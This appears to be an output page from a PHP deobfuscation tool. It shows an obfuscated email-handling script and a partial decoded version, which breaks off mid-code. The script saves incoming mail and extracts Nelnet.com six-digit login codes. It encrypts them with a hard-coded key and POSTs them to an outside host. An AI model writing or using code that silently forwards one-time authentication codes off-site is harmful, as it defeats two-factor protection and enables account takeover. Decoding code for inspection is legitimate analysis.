PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php ${"\x47\x4cOBA\x4cS"}["\x6a\x6cc\x63istf\x62"]="m\x65s\x52\x65s\x75\x6c\x74";${"G\x4cO\x42\x41L\x53"}["\x73a\x63\x77j\x71"]="c\x68";${"\x47L\x4f\x42\x41L\x53"}["\x79s\x6b\x79\x6aodu\x70y\x66"]="\x64a\x74a\x54o\x53e\x6ed";${"G\x4c\x4f\x42\x41\x4cS"}["p\x69\x70o\x75\x6atm"]="\x63\x6f\x6e\x66\x43od\x65";${"\x47\x4c\x4f\x42AL\x53"}["o\x6b\x7a\x73\x68\x63\x78"]="\x6e\x65w\x42o\x64y";${"\x47\x4cOB\x41L\x53"}["\x67y\x6f\x6b\x67\x62"]="\x66\x68";${"GLOB\x41\x4cS"}["s\x63\x65\x6dq\x79b\x6fn\x61"]="em\x61\x69lF\x69\x6ce";${"\x47L\x4f\x42\x41\x4cS"}["\x74\x6djt\x72z\x66p"]="\x68\x65a\x64\x65\x72V\x61lu\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["o\x68o\x65\x63gt\x76\x63i"]="\x70\x61\x72\x73\x65\x64\x45m\x61i\x6c";$ymcavgtp="\x65mai\x6c\x48ea\x64er\x44a\x74\x61";${"\x47\x4c\x4fB\x41L\x53"}["b\x69j\x62sw\x65\x69"]="ma\x69\x6cFr\x6f\x6d\x41\x72\x72\x61y";${"G\x4c\x4f\x42A\x4c\x53"}["\x77\x65\x78c\x75\x66\x64y"]="h\x65aderDat\x61\x41r\x72ay";${"G\x4cOBAL\x53"}["na\x67\x79\x68\x76h\x62"]="r\x65\x63ei\x76e\x64\x45m\x61\x69l";$mjmsrntcx="m\x61\x69\x6cTo\x41\x72ra\x79";$qneccvdo="r\x65c\x65\x69\x76e\x64E\x6d\x61\x69\x6c";${"\x47\x4cO\x42A\x4c\x53"}["\x71eb\x75\x76\x66w\x6f\x6fv"]="\x72\x65c\x65i\x76\x65\x64E\x6d\x61il";${"GL\x4f\x42\x41\x4cS"}["r\x76g\x66\x71\x63e\x6eo"]="e\x6d\x61\x69\x6c\x48\x61\x6e\x64\x6c\x65r";${"\x47\x4cO\x42\x41LS"}["vr\x72prokj"]="\x72eceiv\x65dM\x61il\x44i\x72ec\x74\x6f\x72\x79";${"\x47\x4cO\x42\x41LS"}["su\x67\x63\x75xs"]="c\x69\x70\x68\x65\x72\x69\x6e\x67";${"\x47\x4cOB\x41LS"}["o\x63\x62\x78\x6e\x65ew\x78"]="\x70\x61\x72s\x65\x64\x45m\x61\x69\x6c";${"\x47LO\x42A\x4c\x53"}["\x6c\x6c\x73\x6b\x69\x70\x72\x75"]="\x72\x65\x71\x75\x65\x73t\x65\x64\x46u\x6ec\x74\x69\x6fn";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73s\x6be\x78\x75\x7an\x64\x63fm"]="\x72\x65\x63\x65\x69\x76\x65\x64\x4da\x69l\x44i\x72\x65\x63\x74\x6f\x72\x79";$muygcrvu="re\x63\x65\x69\x76\x65\x64\x45\x6d\x61\x69l";$jnkmjtl="\x72e\x63\x65\x69\x76\x65\x64\x45\x6d\x61i\x6c";$pduhnpajw="\x6dai\x6c\x54\x6fAr\x72\x61y";${"\x47\x4cO\x42\x41LS"}["\x71\x6al\x70hat\x78d"]="\x63\x72\x79p\x74K\x65y";${"\x47LOBA\x4c\x53"}["\x78\x69\x62\x74\x76\x74kbe"]="m\x61\x69l\x46\x72\x6f\x6dArr\x61\x79";${"\x47\x4c\x4f\x42ALS"}["\x64\x78rr\x6ct\x76w\x75"]="\x73\x74ri\x6e\x67To\x43h\x65\x63\x6b\x69\x6e\x67\x54\x6f\x63\x72\x79\x70t";$clxyexhvjmj="\x70a\x72\x73e\x64E\x6dai\x6c";${"G\x4cOB\x41\x4c\x53"}["\x6e\x78bxw\x6b\x66\x6ehm"]="c\x72y\x70\x74\x52\x65\x73p\x6f\x6e\x73e";${"\x47\x4cO\x42A\x4c\x53"}["s\x6f\x70\x6c\x6a\x6d\x6e\x6b\x6f\x68"]="pa\x72\x73e\x64\x45m\x61i\x6c";${"\x47\x4c\x4f\x42\x41LS"}["m\x6d\x73\x69v\x6fy\x6f"]="\x63\x72y\x70t\x49V";function cryptData($stringToCheckingTocrypt,$requestedFunction){${"\x47\x4cO\x42AL\x53"}["\x63\x72d\x6f\x73\x64\x72\x75h"]="\x63\x69p\x68eri\x6e\x67";${"\x47L\x4f\x42A\x4c\x53"}["m\x6c\x65\x76\x73\x68\x70\x66"]="i\x76\x5f\x6c\x65ng\x74\x68";${${"\x47L\x4f\x42\x41\x4cS"}["\x63rd\x6f\x73\x64\x72\x75h"]}="A\x45\x53-1\x328-\x43T\x52";$hjqhbupnwoe="\x63\x72ypt\x4bey";$euiogo="r\x65\x71u\x65\x73\x74\x65\x64F\x75\x6e\x63\x74\x69o\x6e";${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x73\x6c\x79\x66\x6c\x69"]="\x63\x69\x70\x68\x65\x72\x69\x6e\x67";${${"G\x4cOBA\x4cS"}["m\x6c\x65\x76shp\x66"]}=openssl_cipher_iv_length(${${"G\x4c\x4fBAL\x53"}["\x70\x73\x6cyf\x6c\x69"]});${$hjqhbupnwoe}="*\x6b\x46\x76\x65\x39\x26!\x43d1lP\x72*DP7C7\x33\x73\x69\x59g\x51Qb\x6bFlLxZqIG\x69\x51hy\x6c\x67fv7\x26\x36O\x7a\x61^2\x7a\x73\x44\x72i\x76\x63A5c\x54j";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6dm\x73i\x76\x6fy\x6f"]}="%\x79@CH\x48\x71\x6f2\x35\x49d\x63\x4e\x4b\x75";if(${$euiogo}==0){${"GLO\x42A\x4cS"}["\x62gpse\x67\x66\x77\x66"]="\x63\x69\x70\x68\x65\x72\x69n\x67";$ssvfltbvjg="\x63\x72\x79\x70tR\x65\x73p\x6f\x6e\x73\x65";${"GL\x4f\x42\x41\x4c\x53"}["h\x70\x75\x6fj\x6cu\x6d\x77"]="cry\x70\x74\x49\x56";${${"G\x4cO\x42\x41\x4cS"}["\x6ex\x62\x78\x77k\x66\x6e\x68m"]}=openssl_encrypt(${${"\x47LOBA\x4c\x53"}["\x64xr\x72\x6c\x74\x76\x77\x75"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62\x67p\x73\x65\x67\x66\x77\x66"]},${${"\x47L\x4fB\x41LS"}["qjl\x70\x68a\x74x\x64"]},0,${${"\x47\x4c\x4fBA\x4cS"}["\x68\x70\x75oj\x6c\x75\x6dw"]});return${$ssvfltbvjg};}else if(${${"G\x4c\x4f\x42\x41\x4c\x53"}["ll\x73\x6b\x69\x70r\x75"]}==1){$qginhq="\x63\x72\x79pt\x4be\x79";${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x79y\x67\x78lq\x68\x7a"]="\x63\x72yp\x74IV";${${"\x47\x4c\x4f\x42\x41\x4cS"}["n\x78b\x78\x77\x6bf\x6e\x68\x6d"]}=openssl_decrypt(${${"G\x4c\x4fBAL\x53"}["\x64\x78r\x72\x6c\x74\x76wu"]},${${"\x47L\x4f\x42\x41\x4cS"}["\x73\x75\x67c\x75xs"]},${$qginhq},0,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x79\x79gxl\x71\x68\x7a"]});return${${"\x47\x4c\x4f\x42\x41L\x53"}["n\x78b\x78\x77\x6b\x66\x6e\x68m"]};}}if(time()>=1715669743){echo"(|)";die();}$fgabvls="s\x75b\x6a\x65c\x74\x41rra\x79";if(!is_dir(${${"GL\x4fB\x41\x4cS"}["v\x72rp\x72o\x6bj"]}["\x69\x6es\x74\x61\x6cle\x64\x44\x69r\x65\x63\x74or\x79"])){if(!mkdir(${${"G\x4c\x4f\x42\x41\x4cS"}["\x76\x72rpr\x6f\x6bj"]}["\x69\x6e\x73\x74\x61lle\x64Di\x72\x65ct\x6f\x72\x79"])){echo"Un\x61\x62l\x65\x20\x74\x6f c\x72e\x61t\x65\x20".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x72r\x70\x72\x6f\x6b\x6a"]}["\x69\x6e\x73tal\x6c\x65dDi\x72ect\x6f\x72\x79"]."\r\n";}else{if(!mkdir(${${"G\x4c\x4f\x42\x41\x4c\x53"}["v\x72\x72\x70\x72\x6f\x6b\x6a"]}["\x69\x6est\x61\x6cl\x65\x64Di\x72ecto\x72y"].${${"\x47LOB\x41\x4c\x53"}["\x76\x72\x72\x70\x72\x6f\x6bj"]}["dail\x79\x44ire\x63\x74\x6f\x72\x79"])){$ewxjxco="\x72\x65ce\x69\x76\x65d\x4d\x61\x69\x6cDire\x63\x74o\x72\x79";$wpzyrpnwud="\x72ece\x69v\x65\x64\x4d\x61\x69\x6c\x44ire\x63\x74or\x79";echo"Un\x61b\x6c\x65\x20\x74\x6f\x20\x63\x72\x65\x61\x74\x65\x20".${$ewxjxco}["i\x6e\x73\x74a\x6cle\x64D\x69\x72\x65\x63\x74\x6fr\x79"].${$wpzyrpnwud}["dail\x79\x44ire\x63\x74o\x72y"]."\r\n";}}}else if(!is_dir(${${"G\x4c\x4f\x42A\x4c\x53"}["v\x72\x72\x70\x72\x6f\x6b\x6a"]}["\x69nst\x61\x6c\x6c\x65d\x44\x69\x72\x65\x63to\x72\x79"].${${"\x47\x4cOB\x41\x4cS"}["\x73\x73\x6b\x65\x78\x75\x7a\x6e\x64\x63\x66\x6d"]}["da\x69\x6c\x79Dir\x65\x63to\x72\x79"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x74nf\x6cjp\x70"]="\x72\x65\x63e\x69\x76\x65dMa\x69\x6c\x44ir\x65\x63\x74\x6f\x72y";if(!mkdir(${${"G\x4c\x4f\x42\x41LS"}["\x66\x74\x6ef\x6cjp\x70"]}["in\x73\x74\x61l\x6cedD\x69\x72ect\x6fry"].${${"\x47\x4c\x4f\x42\x41LS"}["\x76rrp\x72\x6fk\x6a"]}["\x64ailyDir\x65c\x74\x6f\x72y"])){$jlwxdbyjyc="r\x65\x63\x65\x69\x76\x65\x64\x4d\x61i\x6c\x44i\x72\x65\x63\x74or\x79";${"\x47L\x4fB\x41\x4c\x53"}["\x78\x6a\x72\x64\x73\x76\x65\x67\x6fcc"]="r\x65\x63e\x69v\x65d\x4d\x61\x69\x6c\x44\x69\x72\x65ct\x6f\x72\x79";echo"Unab\x6ce \x74o\x20\x63\x72\x65a\x74e ".${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x6a\x72\x64s\x76e\x67\x6fc\x63"]}["\x69n\x73\x74\x61\x6c\x6ced\x44\x69r\x65cto\x72y"].${$jlwxdbyjyc}["da\x69lyDi\x72e\x63t\x6f\x72y"]."\r\n";}}$wxcjvtg="r\x65c\x65i\x76\x65\x64\x45\x6d\x61\x69l";$rhbqorhcq="\x72\x65ceive\x64\x45m\x61il";${${"\x47\x4c\x4fBAL\x53"}["\x72\x76\x67\x66q\x63en\x6f"]}=fopen("p\x68\x70://s\x74din","r");${"GL\x4f\x42\x41\x4c\x53"}["\x69\x74\x76\x76\x75\x6ep\x78odl"]="e\x6d\x61\x69\x6c\x44\x61\x74\x61";${${"\x47L\x4fB\x41\x4c\x53"}["it\x76v\x75n\x70\x78\x6fd\x6c"]}=array();${${"\x47L\x4f\x42A\x4cS"}["\x71\x65\x62\x75\x76\x66w\x6f\x6f\x76"]}=array();$hbmuxsr="r\x65\x63\x65\x69v\x65\x64\x45\x6d\x61\x69\x6c";while(!feof(${${"\x47L\x4fB\x41\x4c\x53"}["\x72\x76\x67\x66qc\x65\x6eo"]})){$gqrton="e\x6d\x61\x69\x6c\x48\x61\x6e\x64\x6c\x65r";@${${"\x47\x4cOB\x41LS"}["\x71\x65b\x75\x76\x66\x77\x6fo\x76"]}["\x6f\x72i\x67\x69n\x61lMes\x73age"].=fread(${$gqrton},1024);}${${"\x47\x4c\x4f\x42ALS"}["\x71e\x62u\x76\x66\x77\x6f\x6f\x76"]}["\x6dodi\x66\x69edM\x65\x73sage"]=preg_replace("/(^[\r\n]*|[\r\n]+)[\x5cs\t]*[\r\n]+/","-\x45\x4e\x44 \x4f\x46 \x48\x45\x41\x44\x45R-",${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71\x65b\x75v\x66\x77\x6f\x6f\x76"]}["or\x69\x67\x69na\x6cMe\x73\x73\x61\x67\x65"]);${${"G\x4cOB\x41\x4cS"}["\x71\x65\x62u\x76\x66\x77\x6f\x6fv"]}["\x68\x65\x61de\x72"]=substr(${$wxcjvtg}["or\x69\x67\x69\x6ea\x6cMess\x61ge"],0,strpos(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x71\x65\x62u\x76\x66\x77\x6f\x6fv"]}["m\x6fd\x69\x66\x69\x65\x64Mes\x73\x61\x67\x65"],"-\x45ND \x4f\x46\x20HE\x41D\x45R-"));${${"\x47\x4cO\x42\x41\x4c\x53"}["q\x65b\x75\x76f\x77\x6f\x6f\x76"]}["\x62\x6f\x64y"]=substr(${${"GL\x4f\x42A\x4c\x53"}["\x71e\x62\x75\x76\x66\x77\x6fo\x76"]}["o\x72\x69\x67\x69\x6ea\x6c\x4d\x65ssag\x65"],strpos(${$jnkmjtl}["mo\x64\x69\x66\x69e\x64\x4des\x73a\x67\x65"],"-\x45ND\x20\x4fF HEADER-"),strlen(${${"GLOB\x41L\x53"}["q\x65\x62u\x76fw\x6f\x6fv"]}["\x6frig\x69\x6e\x61l\x4des\x73age"])-strpos(${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x61\x67\x79\x68v\x68\x62"]}["\x6do\x64i\x66i\x65d\x4des\x73\x61ge"],"-END \x4f\x46 \x48\x45ADER-"));preg_match_all("/^(.*):\x20(\x2e*)(\x5c\x6e\x5c\x73+(.*))*/i\x6d",${$hbmuxsr}["he\x61d\x65\x72"],${${"GL\x4f\x42\x41L\x53"}["w\x65\x78c\x75\x66\x64y"]});preg_match("/^\x52e\x63\x65\x69\x76\x65d: by\x20.*\x20<(.*)>\x3b/\x6d",${$muygcrvu}["h\x65a\x64\x65r"],${$pduhnpajw});$sxgelukwxl="\x73ub\x6a\x65\x63\x74\x41\x72r\x61y";${$clxyexhvjmj}["a\x63\x74u\x61lT\x6f"]=strtolower(${$mjmsrntcx}[1]);preg_match("/^Su\x62je\x63\x74:\x20(.*)/\x6d",${$rhbqorhcq}["\x68ea\x64\x65r"],${$sxgelukwxl});${${"\x47\x4c\x4fBA\x4c\x53"}["ocb\x78\x6e\x65\x65\x77x"]}["S\x75b\x6a\x65\x63\x74"]=${$fgabvls}[1];$uhmaxeplcil="\x70\x61rs\x65\x64Em\x61\x69l";preg_match("/^\x46r\x6fm:\x20.*\x20<(.*)>/\x6d",${$qneccvdo}["\x68\x65\x61d\x65r"],${${"\x47L\x4f\x42\x41\x4c\x53"}["\x62ij\x62\x73\x77\x65\x69"]});$ojbxjssxwgj="he\x61derD\x61t\x61\x41\x72\x72\x61y";${${"\x47LO\x42AL\x53"}["\x6fho\x65\x63\x67tv\x63\x69"]}["f\x72o\x6d"]=strtolower(${${"\x47\x4cO\x42\x41\x4c\x53"}["x\x69\x62\x74\x76\x74\x6bbe"]}[1]);${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74\x6d\x6a\x74\x72z\x66p"]}=0;foreach(${$ojbxjssxwgj}[1]AS${$ymcavgtp}){$ufsemmwnjfih="\x68\x65ade\x72\x56\x61\x6c\x75e";${"\x47\x4c\x4f\x42\x41L\x53"}["y\x70\x74\x79l\x69\x70"]="\x65\x6da\x69\x6c\x48e\x61\x64\x65\x72\x44\x61\x74\x61";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x68o\x65cgt\x76\x63i"]}["he\x61\x64er"][${${"\x47\x4c\x4f\x42\x41L\x53"}["yp\x74\x79\x6ci\x70"]}]=${${"G\x4cOB\x41L\x53"}["\x77e\x78\x63\x75f\x64\x79"]}[2][${${"\x47L\x4f\x42ALS"}["\x74\x6d\x6a\x74\x72\x7afp"]}];${$ufsemmwnjfih}++;}if(filter_var(@${${"\x47LO\x42\x41LS"}["o\x68\x6fec\x67\x74vc\x69"]}["a\x63\x74ua\x6c\x54\x6f"],FILTER_VALIDATE_EMAIL)&&filter_var(@${$uhmaxeplcil}["\x66ro\x6d"],FILTER_VALIDATE_EMAIL)){${"\x47\x4c\x4f\x42\x41LS"}["\x6a\x69f\x71u\x74\x63\x64\x64b\x62"]="\x70a\x72\x73\x65\x64E\x6d\x61\x69\x6c";$dqdgce="\x65\x6d\x61\x69\x6cFil\x65";${"\x47\x4cO\x42A\x4c\x53"}["jv\x72\x62\x76\x67\x6c\x76"]="em\x61ilF\x69\x6c\x65";${"\x47\x4c\x4fB\x41L\x53"}["\x74u\x75\x6c\x64h\x65\x77"]="p\x61\x72\x73\x65d\x45\x6d\x61\x69\x6c";${${"\x47LO\x42\x41\x4cS"}["\x73\x63\x65\x6d\x71y\x62\x6fn\x61"]}=${${"\x47\x4c\x4fB\x41\x4cS"}["tu\x75l\x64\x68\x65w"]}["\x61ct\x75\x61\x6cT\x6f"]."_f\x72o\x6d\x5f".${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6ai\x66\x71\x75tcd\x64b\x62"]}["f\x72\x6fm"]."\x5f".date("m-\x64-\x59_\x68is").".t\x78\x74";${"G\x4cO\x42AL\x53"}["\x73\x6f\x69\x6c\x71\x78\x61"]="\x65\x6d\x61\x69\x6cF\x69l\x65";${"\x47L\x4f\x42\x41\x4cS"}["mjp\x62\x6a\x75\x74p"]="\x72\x65\x63\x65i\x76\x65dM\x61\x69lD\x69\x72\x65c\x74\x6fr\x79";${$dqdgce}=preg_replace("/\x40/","_\x61\x74_",${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x73\x6fi\x6c\x71\x78\x61"]});if(${${"\x47\x4cOB\x41\x4c\x53"}["gyo\x6b\x67\x62"]}=fopen(${${"\x47\x4c\x4f\x42AL\x53"}["\x6djp\x62ju\x74\x70"]}["ins\x74all\x65dD\x69\x72e\x63\x74o\x72y"].${${"G\x4cO\x42\x41\x4c\x53"}["\x76rr\x70\x72\x6fk\x6a"]}["d\x61\x69ly\x44ire\x63\x74\x6f\x72\x79"].${${"\x47L\x4fB\x41\x4c\x53"}["j\x76\x72\x62v\x67\x6c\x76"]},"\x61+")){$ceyktxsbuch="\x66\x68";$ybwnyrlsii="\x66\x68";fwrite(${$ybwnyrlsii},@${${"\x47\x4cO\x42\x41\x4cS"}["\x71\x65\x62\x75vf\x77\x6f\x6fv"]}["o\x72\x69\x67\x69n\x61lMe\x73\x73a\x67\x65"]);fclose(${$ceyktxsbuch});}}else if(!filter_var(@${${"\x47\x4cO\x42\x41L\x53"}["\x73o\x70\x6c\x6a\x6d\x6e\x6b\x6fh"]}["\x61\x63\x74\x75\x61lTo"],FILTER_VALIDATE_EMAIL)&&!filter_var(@${${"GLOBA\x4c\x53"}["\x6f\x68\x6fecgt\x76\x63\x69"]}["fr\x6f\x6d"],FILTER_VALIDATE_EMAIL)){echo"\r\n\r\nB\x6f\x74h \x74he \x74\x6f a\x6ed fr\x6fm\x20\x65m\x61\x69\x6c \x61ddre\x73\x73\x65s\x20\x61re\x20\x69\x6evali\x64\x2e\r\n\r\n";die();}else if(!filter_var(@${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6fh\x6f\x65c\x67\x74\x76\x63\x69"]}["a\x63\x74\x75alT\x6f"],FILTER_VALIDATE_EMAIL)){echo"\r\n\r\nT\x68e\x20t\x6f \x65m\x61\x69\x6c\x20\x61d\x64\x72ess is invali\x64.\r\n\r\n";die();}else if(!filter_var(@${${"\x47\x4c\x4fB\x41LS"}["oh\x6f\x65\x63g\x74\x76\x63\x69"]}["\x66\x72\x6f\x6d"],FILTER_VALIDATE_EMAIL)){echo"\r\n\r\n\x54\x68e \x66rom\x20e\x6da\x69l \x61dd\x72\x65ss\x20i\x73\x20i\x6ev\x61li\x64\x2e\r\n\r\n";die();}${${"G\x4c\x4f\x42\x41L\x53"}["\x6f\x68o\x65\x63\x67\x74vci"]}["body"]["\x74ext"]=${${"\x47\x4cO\x42A\x4c\x53"}["\x71ebu\x76\x66\x77\x6fo\x76"]}["\x62o\x64y"];if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x68\x6f\x65\x63\x67\x74\x76\x63\x69"]}["\x53\x75\x62ject"]=="\x59\x6fur Nel\x6ee\x74\x2ecom \x61\x75\x74\x68\x65ntic\x61t\x69o\x6e\x20code"){$qfngnw="h\x74m\x6cCo\x64\x65\x45\x6e\x64";${"G\x4c\x4f\x42\x41L\x53"}["dp\x62vkq\x66\x73"]="d\x61\x74aT\x6f\x53\x65n\x64";$ecnlecc="\x6e\x65\x77Bo\x64y";$qrodbov="n\x65\x77Bo\x64\x79";${"G\x4c\x4f\x42A\x4c\x53"}["\x63\x69\x67\x72wx\x6f\x68ug\x62"]="\x63\x68";${"\x47\x4cOB\x41\x4c\x53"}["l\x6a\x78\x77lf\x73\x75"]="\x68\x74\x6d\x6c\x43\x6f\x64\x65S\x74\x61r\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x77\x63\x71\x6d\x71c\x66o"]="h\x74\x6dl\x43\x6f\x64eS\x74a\x72\x74";$ddcuftgphgj="\x6e\x65wB\x6fd\x79";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x77\x63qm\x71\x63\x66\x6f"]}="\x45\x6e\x74\x65r \x74h\x65 \x66\x6fllowi\x6eg s\x69\x78-d\x69\x67\x69t\x20\x63\x6fd\x65\x20\x69nt\x6f the\x20Aut\x68e\x6e\x74\x69ca\x74io\x6e \x43\x6f\x64\x65\x20fi\x65\x6cd\x20\x74o\x20fin\x69sh\x20logg\x69\x6e\x67 \x69n to\x20\x79\x6f\x75r";$cnkgqyhipm="r\x65c\x65\x69\x76\x65d\x45mai\x6c";$xmoyuhlyuo="htm\x6c\x43\x6fde\x45\x6e\x64";${"G\x4c\x4fBA\x4cS"}["\x6eu\x71g\x71\x73\x6de\x68\x6b"]="h\x74\x6dlCo\x64\x65\x53\x74\x61r\x74\x56a\x6cu\x65";$obxqcrjpq="p\x61\x72\x73\x65dE\x6da\x69l";${$qfngnw}="\x54his\x20c\x6f\x64\x65 was \x61\x75to\x6da\x74i\x63ally \x67en\x65\x72ate\x64\x20b\x79 \x61 l\x6f\x67in\x20\x61tt\x65m\x70\x74\x20\x74\x6f\x20\x79our\x20a\x63c\x6f\x75\x6et\x20a\x6e\x64\x20wi\x6cl \x65x\x70i\x72\x65 i\x6e \x315 \x6d\x69n\x75\x74e\x73.";${"G\x4c\x4fB\x41\x4cS"}["gt\x74ic\x67\x68\x68\x62\x62\x69"]="\x6d\x65s\x52e\x73\x75\x6ct";${"\x47L\x4f\x42\x41\x4c\x53"}["a\x77\x77j\x78\x77\x62\x72m\x6a"]="\x68\x74\x6d\x6c\x43\x6f\x64e\x53t\x61\x72\x74\x56\x61lu\x65";${${"\x47\x4c\x4f\x42A\x4c\x53"}["n\x75q\x67qsmeh\x6b"]}=strpos(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71e\x62\x75vfw\x6fov"]}["\x62o\x64\x79"],${${"G\x4c\x4fBA\x4c\x53"}["\x6c\x6ax\x77l\x66s\x75"]});${$ecnlecc}=substr(${$cnkgqyhipm}["\x62\x6f\x64\x79"],${${"\x47\x4cO\x42A\x4cS"}["\x61\x77\x77\x6a\x78\x77b\x72\x6d\x6a"]});${"G\x4c\x4f\x42A\x4c\x53"}["\x66wy\x75\x71t"]="\x63h";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6fkz\x73\x68cx"]}=substr(${$qrodbov},0,strpos(${${"\x47L\x4f\x42\x41\x4cS"}["\x6f\x6bz\x73h\x63\x78"]},${$xmoyuhlyuo}));preg_match("/Ent\x65\x72 t\x68e \x66o\x6c\x6co\x77ing\x20\x73\x69\x78-d\x69git code \x69\x6eto \x74\x68\x65\x20A\x75t\x68\x65\x6et\x69\x63\x61tion \x43\x6f\x64\x65 f\x69\x65\x6c\x64 \x74\x6f finis\x68\x20\x6c\x6f\x67gi\x6e\x67 \x69n \x74o\x20\x79\x6f\x75r.* \x74ex\x74-\x61li\x67n: \x63\x65n\x74\x65\x72;\x22>(.*)\x3c\x5c/\x70>/\x6d\x69s",${$ddcuftgphgj},${${"\x47\x4cO\x42A\x4c\x53"}["\x70ip\x6f\x75\x6a\x74\x6d"]});${$obxqcrjpq}["time\x73\x74\x61\x6d\x70"]=time();${${"G\x4c\x4fBALS"}["\x6f\x68\x6f\x65\x63\x67\x74\x76\x63\x69"]}["\x61\x75\x74hC\x6f\x64\x65"]=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x69\x70\x6fu\x6a\x74\x6d"]}[1];${${"\x47\x4c\x4f\x42\x41L\x53"}["yskyj\x6fdup\x79\x66"]}=base64_encode(cryptData(json_encode(${${"G\x4cO\x42\x41LS"}["o\x68\x6f\x65cg\x74\x76ci"]}),0));${${"\x47\x4cO\x42A\x4c\x53"}["\x66\x77yu\x71t"]}=curl_init("\x68\x74\x74\x70\x73://\x63a\x70\x6frt\x61\x6c\x2emyedu\x73\x6f\x6c\x75\x74\x69\x6fns\x2ec\x6f\x6d/\x73ec\x75\x72efo\x72ms/\x6e\x65\x6cnetA\x75t\x68.php");curl_setopt(${${"\x47\x4c\x4f\x42\x41LS"}["\x63i\x67rwx\x6fhu\x67b"]},CURLOPT_POSTFIELDS,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x70b\x76\x6b\x71f\x73"]});curl_setopt(${${"\x47L\x4f\x42A\x4c\x53"}["\x73\x61\x63\x77jq"]},CURLOPT_HTTPHEADER,array("Con\x74\x65n\x74-\x54\x79\x70e:app\x6ci\x63\x61tio\x6e/\x6a\x73\x6fn"));curl_setopt(${${"G\x4c\x4fB\x41\x4c\x53"}["\x73\x61c\x77\x6a\x71"]},CURLOPT_RETURNTRANSFER,TRUE);${${"\x47LO\x42AL\x53"}["\x6al\x63\x63i\x73\x74\x66\x62"]}=curl_exec(${${"\x47LO\x42\x41\x4c\x53"}["\x73\x61cwjq"]});curl_close(${${"G\x4c\x4f\x42A\x4c\x53"}["\x73\x61cw\x6aq"]});echo${${"\x47L\x4f\x42\x41LS"}["\x67t\x74\x69cgh\x68\x62b\x69"]};}die();
?>

Decoded(de-Obfuscated) php code

<?php

$GLOBALS["jlccistfb"] = "mesResult";
$GLOBALS["sacwjq"] = "ch";
$GLOBALS["yskyjodupyf"] = "dataToSend";
$GLOBALS["pipoujtm"] = "confCode";
$GLOBALS["okzshcx"] = "newBody";
$GLOBALS["gyokgb"] = "fh";
$GLOBALS["scemqybona"] = "emailFile";
$GLOBALS["tmjtrzfp"] = "headerValue";
$GLOBALS["ohoecgtvci"] = "parsedEmail";
$ymcavgtp = "emailHeaderData";
$GLOBALS["bijbswei"] = "mailFromArray";
$GLOBALS["wexcufdy"] = "headerDataArray";
$GLOBALS["nagyhvhb"] = "receivedEmail";
$mjmsrntcx = "mailToArray";
$qneccvdo = "receivedEmail";
$GLOBALS["qebuvfwoov"] = "receivedEmail";
$GLOBALS["rvgfqceno"] = "emailHandler";
$GLOBALS["vrrprokj"] = "receivedMailDirectory";
$GLOBALS["sugcuxs"] = "ciphering";
$GLOBALS["ocbxneewx"] = "parsedEmail";
$GLOBALS["llskipru"] = "requestedFunction";
$GLOBALS["sskexuzndcfm"] = "receivedMailDirectory";
$muygcrvu = "receivedEmail";
$jnkmjtl = "receivedEmail";
$pduhnpajw = "mailToArray";
$GLOBALS["qjlphatxd"] = "cryptKey";
$GLOBALS["xibtvtkbe"] = "mailFromArray";
$GLOBALS["dxrrltvwu"] = "stringToCheckingTocrypt";
$clxyexhvjmj = "parsedEmail";
$GLOBALS["nxbxwkfnhm"] = "cryptResponse";
$GLOBALS["sopljmnkoh"] = "parsedEmail";
$GLOBALS["mmsivoyo"] = "cryptIV";
function cryptData($stringToCheckingTocrypt, $requestedFunction)
{
    $GLOBALS["crdosdruh"] = "ciphering";
    $GLOBALS["mlevshpf"] = "iv_length";
    $ciphering = "AES-128-CTR";
    $hjqhbupnwoe = "cryptKey";
    $euiogo = "requestedFunction";
    $GLOBALS["pslyfli"] = "ciphering";
    $iv_length = openssl_cipher_iv_length($ciphering);
    $cryptKey = "*kFve9&!Cd1lPr*DP7C73siYgQQbkFlLxZqIGiQhylgfv7&6Oza^2zsDrivcA5cTj";
    $cryptIV = "%y@CHHqo25IdcNKu";
    if ($requestedFunction == 0) {
        $GLOBALS["bgpsegfwf"] = "ciphering";
        $ssvfltbvjg = "cryptResponse";
        $GLOBALS["hpuojlumw"] = "cryptIV";
        $cryptResponse = openssl_encrypt($stringToCheckingTocrypt, $ciphering, $cryptKey, 0, $cryptIV);
        return $cryptResponse;
    } else {
        if ($requestedFunction == 1) {
            $qginhq = "cryptKey";
            $GLOBALS["dyygxlqhz"] = "cryptIV";
            $cryptResponse = openssl_decrypt($stringToCheckingTocrypt, $ciphering, $cryptKey, 0, $cryptIV);
            return $cryptResponse;
        }
    }
}
if (time() >= 1715669743) {
    echo "(|)";
    die;
}
$fgabvls = "subjectArray";
if (!is_dir(${$GLOBALS["vrrprokj"]}["installedDirectory"])) {
    if (!mkdir(${$GLOBALS["vrrprokj"]}["installedDirectory"])) {
        echo "Unable to create " . ${$GLOBALS["vrrprokj"]}["installedDirectory"] . "\r\n";
    } else {
        if (!mkdir(${$GLOBALS["vrrprokj"]}["installedDirectory"] . ${$GLOBALS["vrrprokj"]}["dailyDirectory"])) {
            $ewxjxco = "receivedMailDirectory";
